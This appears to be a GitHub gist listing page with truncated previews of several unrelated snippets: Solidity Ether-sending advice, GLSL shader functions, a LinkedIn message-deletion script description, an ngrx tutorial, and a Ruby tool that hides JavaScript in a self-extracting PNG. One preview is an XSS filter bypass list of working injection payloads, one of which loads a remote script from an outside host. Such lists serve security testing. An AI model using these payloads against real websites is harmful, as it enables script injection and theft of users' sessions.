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@0xkarmacoma
0xkarmacoma / sending-ether-cheat-sheet.md
Last active May 1, 2025 03:17
Sending Ether Cheat Sheet

Sending Ether Cheat Sheet

TLDR

🥇 Instead of sending Ether, use the withdrawal pattern

🥈 If you really need to send Ether, use a safe wrapper like OpenZeppelin's Address.sendValue(addr, amount)

🥉 If you really need to send Ether without dependencies, use (bool success, ) = addr.call{value: amount}("")

// http://www.iquilezles.org/www/articles/palettes/palettes.htm
// to see this function graphed out go to: https://www.desmos.com/calculator/18rq4ybrru
vec3 cosPalette( float t , vec3 brightness, vec3 contrast, vec3 osc, vec3 phase)
{
return brightness + contrast*cos( 6.28318*(osc*t+phase) );
}
vec3 hsb2rgb(vec3 c)
{
@timwco
timwco / delete.md
Last active October 13, 2025 14:32
LinkedIn: Delete Messages (June 2022)

What

LinkedIn is a valuable resource, but sometimes it sucks. One of those times is when you want to delete messages. You have to select each message one by one. It takes about 4 "clicks" to successfully delete a message.

This script should help. Since LI requires you to perform multiple steps, I decided to automate it for you. Once you initiate the script, it will run every second. If a message has the ability to be deleted, it will be. If not, it will be archived. Some "InMail" messages cannot be deleted on the web app. This script should work as long as LI doesn't change their page layout or element names, which happens often.

Last tested & verified working on: June, 10, 2022

Special Thanks to @noncent for the updated script.

@btroncone
btroncone / ngrxintro.md
Last active September 5, 2025 05:30
A Comprehensive Introduction to @ngrx/store - Companion to Egghead.io Series

Comprehensive Introduction to @ngrx/store

By: @BTroncone

Also check out my lesson @ngrx/store in 10 minutes on egghead.io!

Update: Non-middleware examples have been updated to ngrx/store v2. More coming soon!

Table of Contents

@rvrsh3ll
rvrsh3ll / xxsfilterbypass.lst
Last active October 4, 2025 22:33
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@patriciogonzalezvivo
patriciogonzalezvivo / GLSL-Noise.md
Last active November 1, 2025 13:44
GLSL Noise Algorithms

Please consider using http://lygia.xyz instead of copy/pasting this functions. It expand suport for voronoi, voronoise, fbm, noise, worley, noise, derivatives and much more, through simple file dependencies. Take a look to https://github.com/patriciogonzalezvivo/lygia/tree/main/generative

Generic 1,2,3 Noise

float rand(float n){return fract(sin(n) * 43758.5453123);}

float noise(float p){
	float fl = floor(p);
  float fc = fract(p);
@gasman
gasman / pnginator.rb
Created April 30, 2012 18:08
pnginator: pack Javascript into a self-extracting PNG
#!/usr/bin/env ruby -w
# pnginator.rb: pack a .js file into a PNG image with an HTML payload;
# when saved with an .html extension and opened in a browser, the HTML extracts and executes
# the javascript.
# Usage: ruby pnginator.rb input.js output.png.html
# By Gasman <http://matt.west.co.tt/>
# from an original idea by Daeken: http://daeken.com/superpacking-js-demos